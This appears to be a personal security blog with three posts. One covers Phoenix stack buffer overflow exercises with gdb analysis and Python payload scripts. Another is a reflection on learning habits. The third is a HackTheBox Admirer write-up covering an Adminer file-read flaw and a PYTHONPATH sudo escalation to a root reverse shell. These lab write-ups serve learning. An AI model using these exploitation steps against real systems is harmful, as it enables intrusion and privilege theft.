Categories
Security

Buffer Overflow Prelude: exploit.education Phoenix 0-4 – Intel 64-Bit

I’ll outline my progress in binary exploitation on Linux. As a target I’m using the Phoenix exercises from exploit.education which can be found at http://exploit.education/phoenix/. However, I don’t use the provided virtual machines but rather copy the code to my local VM. This requires some small changes to the listed code examples, most notably uncommenting the printf() with the BANNER message. One of the reasons for writing this blog post (apart from documenting my process) is the fact that most tutorials I found either use AT&T syntax for the assembly or 32-bit code and I wanted to use Intel syntax on a 64-bit system. I also want to use Python 3 as my scripting language of choice.

Buffer Overflows

The first type of binary exploits that are covered in the exercises are stack based buffer overflows. The canonical tutorial for buffer overflows titled “Smashing the Stack for Fun and Profit” can be found in Phrack 49×14 [1]. The basic idea is to put more data into a buffer than expected and thus have this data flow into areas of memory where it is not supposed to be. Modern day Linux has various protection mechanisms that protect against buffer overflows (like canaries, address space layout randomization and non-executable stacks). To “get around” these mechanisms for exercise purposes, I’m compiling the binaries with the following settings:

gcc -fno-stack-protector -no-pie -z execstack -o phoenix_stack0 phoenix_stack0.c

Disassembly

The disassembly of the main() function of Phoenix 0 (disass main) in gdb shows how the stack is created. Note that I prefer Intel syntax which can be enabled within gdb with set disassembly-flavor intel. We set three breakpoints one at the beginning of main() (b *main) and one before (b *0x0000000000401163) and one after (b *0x0000000000401168) the call to gets().

0x0000000000401146 <+0>:   push  rbp
0x0000000000401147 <+1>:   mov   rbp,rsp
0x000000000040114a <+4>:   sub   rsp,0x60
0x000000000040114e <+8>:   mov   DWORD PTR [rbp-0x54],edi
0x0000000000401151 <+11>:  mov   QWORD PTR [rbp-0x60],rsi
0x0000000000401155 <+15>:  mov   DWORD PTR [rbp-0x10],0x0
0x000000000040115c <+22>:  lea   rax,[rbp-0x50]
0x0000000000401160 <+26>:  mov   rdi,rax
0x0000000000401163 <+29>:  call  0x401040 <gets@plt>
0x0000000000401168 <+34>:  mov   eax,DWORD PTR [rbp-0x10]
0x000000000040116b <+37>:  test  eax,eax
0x000000000040116d <+39>:  je    0x401180 <main+58>
0x000000000040116f <+41>:  lea   rax,[rip+0xe92] # 0x402008
0x0000000000401176 <+48>:  mov   rdi,rax
0x0000000000401179 <+51>:  call  0x401030 <puts@plt>
0x000000000040117e <+56>:  jmp   0x40118f <main+73>
0x0000000000401180 <+58>:  lea   rax,[rip+0xeb9] # 0x402040
0x0000000000401187 <+65>:  mov   rdi,rax
0x000000000040118a <+68>:  call  0x401030 <puts@plt>
0x000000000040118f <+73>:  mov   edi,0x0
0x0000000000401194 <+78>:  call  0x401050 <exit@plt>

In the code, the base pointer (rbp) which represents the bottom of the previous stack is pushed onto the stack so that it can be restored later (<+0>). The push instruction also decreases rsp to point to the new top of the stack. Next, the stack pointer (rsp) is moved into rbp which creates a new base for our new stack which is used for main() (<+1>). Next, 0x60 (96 decimal or 24 words if a word is 4 byte) is subtracted from rsp and thus that’s the space that is reserved for the stack (<+4>).

According to the 64bit ABI [2], the first six arguments of functions are stored in registers. rdi (and thus edi) contains the first argument to a function and rsi contains the second argument (the 3rd, 4th, 5th and 6th arguments are stored in rdx, rcx, r8 and r9). Since this is the main() function, those are argc (edi) and **argv (rsi) respectively. Next, the arguments are moved from registers to memory. edi/argc is moved to the memory at [rbp-0x54] (<+8)> and rsi / **argv is moved to the memory at [rbp-0x60] (<+11>). After that, locals.changeme (at rbp-0x10) is set to 0 (<+15>). Finally, locals.buffer (at rbp-0x50) is loaded to eax (<+22>) and eax is moved into rdi to make this the first argument for the next function call (<+26>) which is gets() (<+29>).

Stack

On x86, the stack “grows” from high numbers to low numbers. Thus, the bottom of the stack (rbp points to the bottom) has a higher number in address space than the top (rsp points to the top). You can check the allocated memory for the stack in gdb by running info proc mappings and find more information about the stack frame by issuing info frame n where n is the number of the frame (all frames can be listed by running bt). In gdb, running x/30wx $rsp will display the next 30 words of memory starting at $rsp and display everything in hex. Note that gdb displays the high memory addresses at the bottom (so you can visualize the stack growing up) and each group of 8 hex digits represents one word (4 bytes) because two hex digits represent one byte.

At this point in time, the stack looks like this:

  • rbp is at 0x7fffffffde80
  • locals.changeme (rbp-0x10) is at 0x7fffffffde70 (0x00000000)
  • The space for locals.buffer (rbp-0x50) starts at 0x7fffffffde30
  • argc (rbp-0x10) is at 0x7fffffffde2c (0x00000001)
  • **argv (rbp-0x60) is at 0x7fffffffde20
  • rsp is at 0x7fffffffde20
(gdb) x/30wx $rsp
0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x00000000 0x00000000 0x00000000	0x00000000
0x7fffffffde40:0x00000000 0x00000000 0x004011e5	0x00000000
0x7fffffffde50:0x00000000 0x00000000 0x004011a0 0x00000000
0x7fffffffde60:0x00000000 0x00000000 0x00401060	0x00000000
0x7fffffffde70:0x00000000 0x00007fff 0x00000000 0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff

In order to overflow locals.buffer (which starts at 0x7fffffffde30 or rbp-0x50) and write to locals.changeme (located at 0x7fffffffde70 or rbp-0x10), we have to send > 16 words to gets() because (0x50-0x10)/4 = 16. So if we input the following string (note that each character is one byte so a block like AAAA is four bytes or one word): “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ”, this should overwrite locals.changeme.

0x7fffffffde20:0xffffdf78 0x00007fff 0x00000000	0x00000001
0x7fffffffde30:0x41414141 0x42424242 0x43434343	0x44444444
0x7fffffffde40:0x45454545 0x46464646 0x47474747	0x48484848
0x7fffffffde50:0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0x7fffffffde60:0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0x7fffffffde70:0x51515151 0x00007f00 0x00000000	0x00000000
0x7fffffffde80:0x00000000 0x00000000 0xf7dfd7fd	0x00007fff
0x7fffffffde90:0xffffdf78 0x00007fff

And indeed this does the trick.

(gdb) c
Continuing.
Well done, the 'changeme' variable has been changed!

Command line exploit

With this information, it is possible to exploit the program without gdb by passing this string on the command line.

└─$ python -c "print('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ')" | ./phoenix_stack0
Well done, the 'changeme' variable has been changed!

Phoenix 1

Phoenix 1 is similar to Phoenix 0, except we are supposed to change locals.changeme to the specific byte sequence 0x496c5962. Since everything else is the same, we already know that our padding before we reach locals.changeme is 16 words or 64 bytes. The following python script will produce the string that we need:

#!/usr/bin/python

import struct

pad = "\x41" * 64
payload = struct.pack("I", 0x496c5962)
print(pad+payload.decode())

We save the script as shell_maker.py and make it executable with chmod +x and voila:

└─$ ./phoenix_stack1 `./shell_maker.py`                            
Well done, you have successfully set changeme to the correct value

Phoenix 2

Phoenix 2 is similar to Phoenix 0 and 1, except that we are supposed to overflow the buffer from an environment variable and change locals.changeme to 0x0d0a090a. So we simply change the payload in our script to 0x0d0a090a, set the environment variable and run the code.

└─$ export ExploitEducation=`./shell_maker.py`
└─$ ./phoenix_stack2                          
Well done, you have successfully set changeme to the correct value

Phoenix 3

For Phoenix 3, we are asked to override a function pointer (a slight change in the printf of complete_level is required to get the program to run). To find the correct address, we can use gdb and simply disass complete_level:

Dump of assembler code for function complete_level:
   0x0000000000401166 <+0>:	push   rbp
   0x0000000000401167 <+1>:	mov    rbp,rsp
   0x000000000040116a <+4>:	lea    rax,[rip+0xe97]        # 0x402008
   0x0000000000401171 <+11>:	mov    rdi,rax
   0x0000000000401174 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401179 <+19>:	mov    edi,0x0
   0x000000000040117e <+24>:	call   0x401070 <exit@plt>
End of assembler dump.

Now that we know that our address is 0x401166, we can simply change the payload in shell_maker.py to this value and run the following:

└─$ ./shell_maker.py | ./phoenix_stack3   
calling function pointer @ 0x401166
Congratulations, you've finished :-) Well done!

Phoenix 4

Phoenix 4 requires us to overwrite the saved instruction pointer. After setting breakpoints on main() and before and after the call to gets(), we can supply a long string and see what happens. We supply “AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ” and check the backtrace with bt.

(gdb) bt
#0  0x00000000004011ac in start_level ()
#1  0x5858585857575757 in ?? ()
#2  0x5a5a5a5a59595959 in ?? ()
#3  0x0000000100000000 in ?? ()
#4  0x0000000000000000 in ?? ()

As we can see, frame one gets overwritten by 0x57s. Python tells us, that this is the ASCII character ‘W’ and we can calculate the length of our padding to be 88 bytes.

>>> chr(0x57)
'W'
>>> len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV')
88

Back in gdb, we find the address of complete_level(), which is 0x401156.

(gdb) disass complete_level 
Dump of assembler code for function complete_level:
   0x0000000000401156 <+0>:	push   rbp
   0x0000000000401157 <+1>:	mov    rbp,rsp
   0x000000000040115a <+4>:	lea    rax,[rip+0xea7]        # 0x402008
   0x0000000000401161 <+11>:	mov    rdi,rax
   0x0000000000401164 <+14>:	call   0x401030 <puts@plt>
   0x0000000000401169 <+19>:	mov    edi,0x0
   0x000000000040116e <+24>:	call   0x401060 <exit@plt>
End of assembler dump.

Armed with these two pieces of information, we can change our shell_maker.py and run it.

#!/usr/bin/python

import struct

pad = "\x41" * 88
payload = struct.pack("I", 0x401156)
print(pad+payload.decode())
└─$ ./shell_maker.py | ./phoenix_stack4                                             
and will be returning to 0x401156
Congratulations, you've finished :-) Well done!

[1] http://phrack.org/issues/49/14.html

[2] https://raw.githubusercontent.com/wiki/hjl-tools/x86-psABI/x86-64-psABI-1.0.pdf

Categories
Learning

The Curse of the Intellectual Omnivore

I like to learn things. I don’t know why but I’m always looking towards new things to dive into. However, I rarely take a deep dive. That’s a problem.

My bookshelf is a hodgepodge of things I was interested in for a short time, before the interest faded away. Economics, psychology, writing, quantum mechanics, almost a dozen programming languages, brewing beer, chess, accounting, investment, negotiation, marketing even learning about learning. The list goes on. I’ve also started to learn some extra languages apart from my native German and the lingua franca of the world, English. Japanese, Korean and Russian didn’t go beyond half a year, even my French is pretty rusty and I used to live in France for a couple of years. Currently, I’m learning Vietnamese.

It seems like I am attracted to new and shiny things and always have a “I’d love to learn/do this” list available. This blog is a good example. I started it, left it empty for a couple of years then posted a bit about computer security (with the plan to work towards a shiny OSCP certificate eventually) and then left it idle for over a year.

It’s not all bad though. I have developed a pretty wide range of superficial knowledge. I could have reasonable but shallow conversations about many topics at any given dinner party. Maybe this isn’t bad in a day and age where deeper knowledge about any topic is only a search engine query away. It’s certainly not bad to have a loose collection of tidbits on various topics floating in my brain. But it feels like I’m forever stuck in a mode where I know enough about a topic that it could be useful if I’d dedicate one more week to it.

A programming language like Elixir is a good illustration of this point. I read a book and a couple of tutorials, I did a couple of exercises, I understand the concepts and can relate them to other programming languages. However, I couldn’t in good conscience put it on my CV as a skill or even solve a simple tasks if someone asked me to do that right now. But if my life depended on it, I could probably build some medium sized project in Elixir in a week or two (granted it wouldn’t be great).

I’m not sure why I’m wired like this but there are exceptions to the rule. Most notably, I have stuck with two hobbies for a (relatively) long time. One is solitaire board games and the other is bouldering. Interestingly both are easy to start and complete in a set time frame, come with clear rewards and some sort of progression. You can read the rules for a board game and start playing immediately. There’s a clear win condition and you can certainly get better. Bouldering is an even better illustration. Each route that you climb is like a small project and you can “win” it or improve step by step and eventually win it. There’s also a higher level of progression because over time, you’ll be able to climb higher grades. Additionally, it’s very easy to start and complete your first route, even if you’ve never done any climbing before.

Another thing I have noticed is that I always tend to overflow with ideas and things to try. That is why I’ll try to implement a dual strategy in the future. Firstly, I’ll limit myself to five items of study. Secondly, I’ll try to “make things more like bouldering”.

Here’s the list of the five things I’m currently most interested in, roughly ordered by level of interest:

  • Machine Learning
  • Computer Security
  • Hardware (micro controllers, robots, FPGAs)
  • DevOps
  • Developing a toy operating system

As a first step, I’ll try to keep track of how much time I spent on each of these activities and I’ll try to make things finishable, rewarding and I’ll try to find some sense of progression.

Categories
Security

HackTheBox – Admirer

After exploiting the first target, VulnHub – Stapler 1, from the curated list of OSCP-like machines I continued by working through the active easy Linux targets Admirer, Tabby, and Blunder on HackTheBox (HTB). HTB is an interesting platform that actually requires some minor hacking before you get access. The free account lets you work on active machines and the premium account also gives access to retired machines. You’re not allowed to post writeups for active machines but because Admirer is now retired, this is my writeup. I’ll add the writeups for the other boxes, once they are retired.

Image 1: Admirer on HTB.

Setup

HTB uses a VPN and makes the targets available in the cloud so there is no need to start the target in a VM. Our attacking machine is a fully updated Kali Linux 2020.3. The target is HTB Admirer, which has the IP 10.10.10.187. We set up an entry in /etc/hosts to refer to it as admirer.htb.

#/etc/hosts
10.10.10.187        admirer.htb

Information Gathering

Portscan

We start by running our default nmap scan and find three open ports (21: FTP, 22: SSH and 80: HTTP).

sudo nmap -v -p- -sV -Pn -n admirer.htb -oA admirer
Image 2: nmap scan.

Webserver

Next, we take a quick look at the website and browse the source. There’s nothing interesting except for the fact that it uses HTML5 Up, which seems to be a WordPress theme.

Image 3: The webiste on port 80 of admirer.htb.
Image 4: Source of the website.

After that, we run nikto and see that there is a robots.txt file.

nikto -h admirer.htb
Image 5: Running nikto reveals robots.txt.
Image 6: Content of robots.txt.

The robots.txt file reveals a potential username waldo and a directory admin-dir. However, the access to that directory is forbidden.

Image 7: Access to the admin-dir is forbidden.

Next, we run wfuzz on the directory to see if we can find any interesting files. We create a file extensions.txt to check for some common extensions. Each line contains one extension and we decide to go with txt, html, js and zip first.

Image 8: extensions.txt.
wfuzz -w /usr/share/wordlists/dirb/big.txt -w extensions.txt --sc 200 http://admirer.htb/admin-dir/FUZZ.FUZ2Z
Image 9: wfuzz reveals some interesting files.

This reveals two interesting files named contacts.txt and credentials.txt.

Image 10: contacts.txt.
Image 11: credentials.txt.

Note: It took a long time to actually find credentials.txt because it was only found after using the big wordlist /usr/share/wordlists/dirb/big.txt. It’s always a good idea to try different wordlists. There’s no mail server and we cannot find a wp-admin directory so we focus on the FTP server next.

FTP

We log into the FTP server with the credentials that we found and download the available files dump.sql and html.tar.gz.

Image 12: Downloading files from the FTP server.

We cat the dump.sql file and see that MariaDB 10.1.41 is running on the target.

Image 13: Finding the database version.

After extracting the data from html.tar.gz we find index.php and two interesting subdirectories named utility-scripts and w4ld0s_s3cr3t_d1r. The latter contains the credentials.txt and contacts.txt files we found earlier (credentials contains an additional entry for waldo’s bank account).

Image 14: Content of html.tar.gz.

The index.php file contains the username and password for the database.

Image 15: Database credentials found in index.php.

The utility-scripts directory contains some PHP files:

Image 16: Contents of utility-scripts and db_admin.php.

All files except db_admin.php can be accessed on the server on port 80. We take a leap of faith and assume that the admin found a better open source alternative as indicated by the TODO text in the db_admin.php file. Because this is probably going to be a PHP solution, we fuzz the directory for PHP files.

wfuzz -w /usr/share/wordlists/dirb/big.txt --sc 200 http://admirer.htb/utility-scripts/FUZZ.php

We find adminer.php which is a tool for managing database connections.

Image 17: Fuzzing for PHP files.

Unfortunately, we cannot login with the credentials we found in index.php. But we can see that the version of Adminer (4.6.2) is outdated.

Image 18: Adminer, access denied.

Exploitation

There’s an interesting security vulnerability for Adminer <= 4.6.2 [1] which just so happens to be the version installed on our target. Basically, we need to connect back to our locally running MariaDB (or MySQL) and then we can expose files. So first, we set up a MariaDB and reset the root password:

sudo apt-get install mariadb-server
sudo systemctl stop mariadb
sudo mysqld_safe --skip-grant-tables --skip-networking &
mysql -u root

From the mysql command prompt (replace PW as needed):

FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';

Next, we kill the process and start MariaDB in normal mode:

ps aux | grep maria
sudo kill -9 PID
sudo systemctl start mariadb

And finally, we create a database (htb) and a user (htb2 with PW htb2) and grant all rights to the user:

mysql -u root -p
CREATE OR REPLACE DATABASE htb;
GRANT ALL PRIVILEGES ON *.* TO 'htb2'@'%' IDENTIFIED BY 'htb2' WITH GRANT OPTION;

Lastly, we have to allow connections on out public IP by uncommenting the bind-adress and adding our public IP and changing the port as desired in /etc/mysql/mariadb.conf.d/50-server.cnf.

Now we can connect from target to our own box via Adminer and create a table test and load the local /var/www/html/index.php file from target.

Image 19: Loading a local file from target to our attack box via SQL.

Now we can simply view the data in Adminer and find some credentials.

Image 20: Exposed credentials.

After a bit of trial and error, we use the password for ssh and get a user account.

Image 21: Successfull login as waldo.

Post Exploitation

The first thing we do is check our sudo rigths with sudo -l.

Image 22: sudo -l output.

We’re allowed to run a script and set the environment. Let’s inspect the script at /opt/scripts/admin_tasks.sh:

Image 23: Selected content of admin_tasks.sh.

The backup_web() function calls /opt/scripts/backup.py and runs it in the background.

Image 24: Rights and content of backup.py.

The script uses make_archive from shutil, so we simply have to create our own shutil.py and make sure it is loaded via the PYTHONPATH environment variable.

Image 25: Simple Python script to overwrite make_archive, IP censored.

If we run nc on the attack box and execute the script and pass the environment variable (select option 6) on the target, we get a root-shell.

sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh
Image 26: A root shell.

Mission accomplished 🙂

Lessons Learned

I learned a lot from this target. First of all, fuzzing with wfuzz is great but you have to try all directories with all interesting extensions and use the right wordlists. Setting up the local DB and exploiting Adminer was new to me as was the privilege escalation to root vie SETENV. Took quite some time until I realized that the variable has to be passe don the command line and not set via export. I also wandered down a lot of paths not mentioned in the writeup and overall the machine took a long time (3 days if I remember correctly). I was stuck for a long time because the wordlist I initially used only found the contacts.txt file.

Sources

[1] https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool